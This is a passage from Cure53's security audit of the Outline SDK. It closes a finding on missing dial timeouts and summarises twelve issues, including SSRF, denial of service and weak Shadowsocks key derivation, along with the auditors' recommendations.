Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

This demonstrates that the proxy only aborts the outbound *connect* request in case the client application aborts the request, thus confirming that the proxy handlers fail to enforce a timeout.

The code excerpt below highlights that the *NewStreamDialer* function of the *config* package creates a new *TCP.Dialer* without providing any timeout in the deployed configuration.

Affected file:
outline-sdk/x/config/config.go

Affected code:
```
func NewStreamDialer(transportConfig string) (transport.StreamDialer,
error) {
	return WrapStreamDialer(&transport.TCPDialer{}, transportConfig)
}
```

Furthermore, it must be noted that also the functions to dial a stream, namely the *DialStream* functions within the *transport* package, fail to impose constraints on a *dial* timeout.

To mitigate this issue, Cure53 advises ensuring that all *dial* operations timeout after a well-chosen time period.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Conclusions

As noted in the *Introduction*, Cure53 observed both strengths and weaknesses on the scope of this *JIG-03* assessment of the Jigsaw Outline. To give some context, the customer provided the URL to the public GitHub repository included in the assessment, facilitating the process of finding and reporting of twelve problems spotted by the testers.

It needs to be clarified that the testing focused on two distinct work packages. While WP1 involved a comprehensive examination of the entire SDK codebase, WP2 centered on scrutinizing a specific package utilized by Outline's client mobile applications. WP3 was also planned, however, during the initial kickoff call, the scope was modified to exclude it. This was due to the unavailability of the corresponding C library at the time of testing.

Given the moderate size of the repository, the team achieved thorough coverage across both WP1 and WP2. The codebase, written entirely in Golang, exhibited exceptional organization and adherence to secure coding in terms of best practices. This high level of quality reflects the developers' expertise in the domain.

To ensure a rigorous evaluation, the testing methodology combined static code analysis with dynamic testing. Static analysis involved meticulous code reviews, while dynamic testing leveraged a selection of examples, which effectively demonstrated the offered functionality of the SDK. It must be positively noted that the examples are fully functioning, self-explanatory, very well documented and demonstrate the offered functionality of the SDK in a comprehensive manner. The following section will delve into the specific aspects of the SDK subjected to review in the frames of *JIG-03*.

Cure53 noted that the SDK offers different options to replace the resolution based on the system resolver. Thus, validation of DNS responses was thoroughly examined. The team found that checks against forged responses crafted by an attacker are mostly robust, except for the fact that the identifier of DNS queries is not random. As such, it can facilitate response forgery (see JIG-03-002). In the same package, a function that processes HTTP responses is used without a bounded size and facilitates DoS, as pointed out in JIG-03-001.

Since the Outline SDK offers a proxy function, the team investigated the existence of common issues for proxy applications, such as server-side-request-forgery (SSRF) attacks. It was discovered that the proxy handlers are vulnerable to SSRF attacks (see issue JIG-03-006). Attackers could use this vulnerability to acquire access into the internal network the proxy is running in, and to mount further attacks to internal services by using the proxy as a pivot point into the network.

Although this issue was initially rated at *Medium* severity, discussions with the customer made it clear that implications would be visible only if the SDK was being used as a public proxy. Since this is not the intended purpose of the library, the issue was downgraded to *Info.* Improving the documentation on this matter should nevertheless be considered.

As the SDK deals with different kinds of data formats, the data handling routines and error handling were investigated in depth. It must be positively noted that these components seemed robust. Further, the used serialization techniques did not exhibit any exploitable vulnerabilities or security issues like unsafe deserialization or similar.

The team also checked if the SDK uses routing techniques based on identifiers, common in many transport libraries that have multiplex connections. It was concluded that the SDK does not offer any multiplexing schemes over a single connection, thereby excluding any connection confusion or connection reuse attacks (in which packets will be re-routed due to bogus identifiers).

The Outline SDK was thoroughly investigated for Denial-of-Service situations. The team attempted to identify panic situations, as these constitute one of the most common Denial-of-Service situations in Golang applications. In the time granted for the assessment, Cure53 found no way for an attacker to bring the SDK into a panic situation. Furthermore, special attention was also paid to the unbounded allocation of arrays, as these could result in memory exhaustions. Once again, the team did not manage to identify an exploitable attack vector, underlining the good security posture of the SDK.

Contrarily, it was identified that the proxy feature could be potentially brought into an out-of-memory situation, as documented in issue JIG-03-012. This flaw shows a Denial-of-Service situation for the proxy. However, like in JIG-03-006, the discussions with the customer brought the initial severity of the issue down for the same reason. As advised before, documentation should be ameliorated to avert false-positive results.

As the Outline SDK implements various transport schemes, the source code was investigated with regard to missing timeouts. Applications very often fail to specify (default) timeouts on read or write operations, most of the time stalling the invoking thread indefinitely.

In this line of investigation, it was found that the SDK fails to enforce default *read* timeouts, as described in issue JIG-03-007, and also forgets to apply default *connect* timeouts, as explained in JIG-03-011. Both issues could be used by an attacker to halt the invoking thread, thereby consuming resources, and potentially resulting in Denial-of-Service situations.

The repository was also investigated for connection leakages, with excessive consumption of resources in mind. In fact, the SDK does not properly close all connections in all error situations, as documented in issue JIG-03-008.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Next, the team inspected the cryptography and protocols the SDK uses. In this regard, it was found that the *tlsfrag* package potentially allows the use of an insecure TLS version (JIG-03-005). After that, the Shadowsocks implementation was inspected and most of the cryptographic observations were identified in this area.

Due to the need for backwards compatibility, Shadowsocks uses a weak KDF (MD5) together with insufficient password complexity rules, as described in JIG-03-010. Besides, the current KDF used in Shadowsocks causes the encryption primitives that use 256-bit keys to have slightly reduced security (see JIG-03-004). Although this does not lead to practical attacks, the lack of cryptographic flexibility in what relates to offering alternative KDFs could be improved (see JIG-03-003). Lastly, the prefix parameter of a Shadowsocks configuration could reduce the amount of entropy utilized for key generation to a dangerous level, as documented in JIG-03-009.

In summary, the Outline SDK appears in a very good state from a security perspective. Only the issues of JIG-03-006 and JIG-03-012 initially illustrated exploitable vulnerabilities that could directly harm the users of the Outline SDK if used as a public proxy. Given that this is not the intended purpose of the library, changing the documentation to make this point clearer would suffice. Addressing the recommendations to strengthen the security posture of the SDK via other reported findings is still advised.

Cure53 would like to thank Reza Ghazinouri, Vinicius Fortuna, Junyi Yi, Daniel LaCosse and Sander Bruens from the Google Jigsaw team for their excellent project coordination, support and assistance, both before and during this assignment.